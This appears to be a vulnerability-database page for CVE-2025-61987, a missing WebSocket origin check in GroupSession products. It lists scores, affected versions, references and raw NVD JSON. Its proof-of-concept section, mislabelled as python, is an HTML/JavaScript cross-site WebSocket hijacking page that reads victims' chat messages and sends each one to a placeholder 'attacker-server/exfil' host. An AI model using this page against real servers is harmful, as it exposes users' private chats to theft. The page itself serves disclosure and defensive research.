CVE-2025-61987

Description

GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, and GroupSession ZION prior to ver5.3.2. do not validate origins in WebSockets. If a user accesses a crafted page, Chat information sent to the user may be exposed.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:groupsession:groupsession:*:*:*:*:free:*:*:* - VULNERABLE

cpe:2.3:a:groupsession:groupsession:*:*:*:*:zion:*:*:* - VULNERABLE

cpe:2.3:a:groupsession:groupsession:*:*:*:*:bycloud:*:*:* - VULNERABLE

GroupSession Free Edition < 5.3.0

GroupSession byCloud < 5.3.3

GroupSession ZION < 5.3.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-61987 PoC: Cross-Site WebSocket Hijacking -->
<html>
<head>
    <title>CVE-2025-61987 PoC</title>
</head>
<body>
    <h1>CVE-2025-61987 - GroupSession WebSocket Hijacking PoC</h1>
    <div id="output"></div>
    <script>
        // Target GroupSession server URL
        const targetHost = 'http://target-groupsession-server';
        const wsUrl = targetHost.replace('http', 'ws') + '/gsweb/chat/ws';
        
        const output = document.getElementById('output');
        
        function log(message) {
            output.innerHTML += message + '<br>';
            console.log(message);
        }
        
        try {
            log('[*] Attempting WebSocket connection to: ' + wsUrl);
            
            // Create WebSocket connection without origin validation
            const ws = new WebSocket(wsUrl);
            
            ws.onopen = function() {
                log('[+] WebSocket connection established');
                log('[+] User authentication cookie was automatically sent by browser');
                log('[+] Chat messages can now be intercepted');
            };
            
            ws.onmessage = function(event) {
                log('[+] Received message: ' + event.data);
                // Exfiltrate chat data
                fetch('https://attacker-server/exfil?data=' + encodeURIComponent(event.data));
            };
            
            ws.onerror = function(error) {
                log('[-] WebSocket error occurred');
            };
            
            ws.onclose = function() {
                log('[*] WebSocket connection closed');
            };
        } catch (e) {
            log('[-] Error: ' + e.message);
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-61987
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-61987
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-61987/
[4] VulDB https://vuldb.com/cve/CVE-2025-61987
[5] https://groupsession.jp/info/info-news/security20251208
[6] https://jvn.jp/en/jp/JVN19940619/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-61987", "sourceIdentifier": "[email protected]", "published": "2025-12-12T05:16:07.763", "lastModified": "2026-02-17T15:31:00.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GroupSession Free edition prior to ver5.3.0, GroupSession byCloud prior to ver5.3.3, and GroupSession ZION prior to ver5.3.2. do not validate origins in WebSockets. If a user accesses a crafted page, Chat information sent to the user may be exposed."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1385"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:free:*:*:*", "versionEndExcluding": "5.3.0", "matchCriteriaId": "32599C61-0938-49C5-8416-44C3DF7B144A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:zion:*:*:*", "versionEndExcluding": "5.3.2", "matchCriteriaId": "46F7CACE-2448-4A90-9192-B6270B33E393"}, {"vulnerable": true, "criteria": "cpe:2.3:a:groupsession:groupsession:*:*:*:*:bycloud:*:*:*", "versionEndExcluding": "5.3.3", "matchCriteriaId": "DD4CD8BC-39CB-44FF-A4D8-22C1B38ED223"}]}]}], "references": [{"url": "https://groupsession.jp/info/info-news/security20251208", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://jvn.jp/en/jp/JVN19940619/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}